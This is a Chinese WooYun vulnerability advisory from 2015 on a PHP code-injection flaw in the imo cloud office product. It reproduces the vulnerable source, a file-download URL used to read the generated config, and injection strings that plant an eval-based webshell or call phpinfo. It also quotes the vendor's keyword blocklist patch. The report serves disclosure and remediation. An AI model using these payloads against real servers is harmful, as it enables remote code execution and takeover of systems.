当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2015-158434

漏洞标题: 易睦网络imo云办公室php代码注入getshell

相关厂商: 易睦网络(上海)科技有限公司

漏洞作者: 路人甲

提交时间: 2015-12-05 13:44

公开时间: 2016-03-03 09:24

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php代码执行

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-02-02: 细节向核心白帽子及相关领域专家公开
2016-02-12: 细节向普通白帽子公开
2016-02-22: 细节向实习白帽子公开
2016-03-03: 细节向公众公开

简要描述:

结合文件下载及去年一大牛提交的漏洞getshell。

详细说明:

问题:任意代码写入已定的php文件getshell

结合上个问题(文件下载)及漏洞http://**.**.**.**/bugs/wooyun-2014-054712。

存在漏洞的文件:

/server/loginBindkd.php

/OpenPlatform/config/kdBind.php(执行后才会产生)

loginBindkd.php文件存在的问题是可以将任意内容写入到kdBind.php文件中,将构造好的一句话写入到kdBind.php,那么这个文件就是shell了。

另外loginBindkd.php文件又包含了kdBind.php,所以也能通过loginBindkd.php看到命令执行的结果,这也就是去年这个命令执行漏洞了。

loginBindkd.php代码如下:

code 区域
<?php 
/*
说明:科大讯飞登录绑定客户端。
*/
session_start();
require_once(dirname(__FILE__).'/ui.php');

$objUI = new classUI;
$objUI->PageTitle = '科大讯飞登录绑定客户端';
$objUI->PageDescription = '';
$objUI->PageKeywords = '';

$objUI->showGlobalHead(2,6);
require_once(dirname(__FILE__).'/checkLicense.php');

function getParam($name, $defaultValue = null) {
return isset($_GET[$name]) ? $_GET[$name] : (isset($_POST[$name]) ? $_POST[$name] : $defaultValue);
}

$cAccount = getParam('cAccount');
$domain = getParam('domain');

writeConfig($cAccount,$domain);

function writeConfig($cAccount,$domain){
$path = dirname(__FILE__).'/../OpenPlatform/config/kdBind.php';
$info = '<?php $bindInfo = array("'.$domain.'"=>"'.$cAccount.'"); ?>';
file_put_contents($path,$info);
}

@include dirname(__FILE__).'/../OpenPlatform/config/kdBind.php';

?>
<div id="container_body_content" class="container_body_content_list">
<div class="list_body">

<div class="list_content_body">
<div style="height:120px;text-align:left;position:relative">
<div style="height:120px;line-height:120px;position:relative;left:18px;color:#797979;font-size:16px">
科大讯飞登录绑定客户端
</div>
</div>

<div class="list_content_record_odd" style="margin-bottom:30px 0px;padding:30px 0px">
<form style="font-size:14px;padding:15px;" action="loginBindkd.php">
绑定帐号:<input type="text" style="width:250px; height:25px; margin-left:20px; margin-right:20px" name="cAccount" value="<?php echo $cAccount ?>">
域名:<input type="text" style="width:250px; height:25px; margin-left:20px;" name="domain" value="iF**.**.**.**" readonly="">
<input type="submit" style="width:55px;height:31px; line-height:31px; margin-left:15px" value="绑定">
</form>
</div>
</div>
</div>
<div class="styleClearBoth"></div>
</div>
<script src="ui/js/emailServerInfo.js?1" type="text/javascript"></script>
<?php

$objUI->showGlobalTail();
?>



很明显,问题就出在23行到28行的函数writeConfig(),变量$cAccount和$domain的值是从客户端获取的,将这两个变量的值以数组的形式写入到文件kdBind.php中了。

先执行个命令回顾一下:

1.png



2.png



提交时注意Content-Length,用hackbar比较方便。



现在我们通过文件下载知道了kdBind.php文件的内容,所以就可以构造出一句话了。

每提交一次上述请求,都会重写kdBind.php文件的内容,通过如下链接下载到该文件:

**.**.**.**/file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php

如下:

3.png



现在只要简单闭合构造完整的一句话就ok了。

一句话:cAccount=")?><?php @eval($_POST['c']);?><?php("&domain=

phpinfo:cAccount=")?><?php phpinfo();?><?php("&domain=

提交后shell地址:**.**.**.**/OpenPlatform/config/kdBind.php

4.png





案例:

http://**.**.**.**/OpenPlatform/config/kdBind.php

5.png





附其他链接供验证:

**.**.**.**/server/loginBindkd.php

http://**.**.**.**/server/loginBindkd.php

http://**.**.**.**/server/loginBindkd.php

http://**.**.**.**/server/loginBindkd.php



另外发现科大讯飞(http://imo.if**.**.**.**/)已采取了防御措施,如下是其修改后的代码:

code 区域
<?php 
/*
说明:科大讯飞登录绑定客户端。
*/
$keyword = array("system","exec","passthru","print","rm","cat","dir");
$par = isset($_REQUEST)?$_REQUEST:array();
foreach ($par as $value){
$string = strval($value);
if(is_numeric(strrpos($string,"system"))||is_numeric(strrpos($string,"exec"))||is_numeric(strrpos($string,"passthru"))||is_numeric(strrpos($string,"print"))||is_numeric(strrpos($string,"rm"))||is_numeric(strrpos($string,"cat"))||is_numeric(strrpos($string,"dir")))
exit;
}

session_start();
require_once(dirname(__FILE__).'/ui.php');
$objUI = new classUI;
$objUI->PageTitle = '科大讯飞登录绑定客户端';
$objUI->PageDescription = '';
$objUI->PageKeywords = '';
$objUI->showGlobalHead(2,7);
if(!$_SESSION['username'] || !$_SESSION['password'])
{
header("location:/".PATH."/login.php?userlogin=no");
exit;
}
require_once(dirname(__FILE__).'/checkLicense.php');
function getParam($name, $defaultValue = null) {
return isset($_GET[$name]) ? $_GET[$name] : (isset($_POST[$name]) ? $_POST[$name] : $defaultValue);
}

$cAccount = getParam('cAccount');
$domain = getParam('domain');
$code = getParam('code');
if(($cAccount || $domain) && $code==$_SESSION['code']){
writeConfig($cAccount,$domain);
}

漏洞证明:

5.png



6.png



7.png

修复方案:

对文件/OpenPlatform/config/kdBind.php设置禁止执行权限。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-09 18:21

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录